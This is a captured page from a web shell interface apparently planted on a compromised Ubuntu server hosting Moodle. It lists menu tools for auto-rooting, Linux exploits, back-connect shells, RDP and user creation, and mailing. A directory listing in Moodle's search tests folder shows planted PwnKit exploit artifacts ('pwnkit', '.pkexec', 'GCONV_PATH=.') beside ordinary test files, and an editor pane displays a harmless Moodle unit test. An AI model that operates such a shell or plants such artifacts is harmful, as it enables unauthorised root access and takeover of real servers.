Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
search /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
generator
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
area_category_test.php
4.09
KB
-rwxrwxrwx
base_activity_test.php
16.1
KB
-rwxrwxrwx
base_block_test.php
20.15
KB
-rwxrwxrwx
base_test.php
6
KB
-rwxrwxrwx
document_icon_test.php
1.84
KB
-rwxrwxrwx
document_test.php
10.56
KB
-rwxrwxrwx
engine_test.php
5.42
KB
-rwxrwxrwx
events_test.php
2.66
KB
-rwxrwxrwx
external_test.php
2.98
KB
-rwxrwxrwx
manager_test.php
70.95
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
skip_future_documents_iterator...
6.74
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : document_icon_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Document icon unit tests. * * @package core_search * @copyright 2018 Dmitrii Metelkin <dmitriim@catalyst-au.net> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Document icon unit tests. * * @package core_search * @copyright 2018 Dmitrii Metelkin <dmitriim@catalyst-au.net> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class search_document_icon_testcase extends advanced_testcase { /** * Test that default component gets returned correctly. */ public function test_default_component() { $docicon = new \core_search\document_icon('test_name'); $this->assertEquals('test_name', $docicon->get_name()); $this->assertEquals('moodle', $docicon->get_component()); } /** * Test that name and component get returned correctly. */ public function test_can_get_name_and_component() { $docicon = new \core_search\document_icon('test_name', 'test_component'); $this->assertEquals('test_name', $docicon->get_name()); $this->assertEquals('test_component', $docicon->get_component()); } }
Close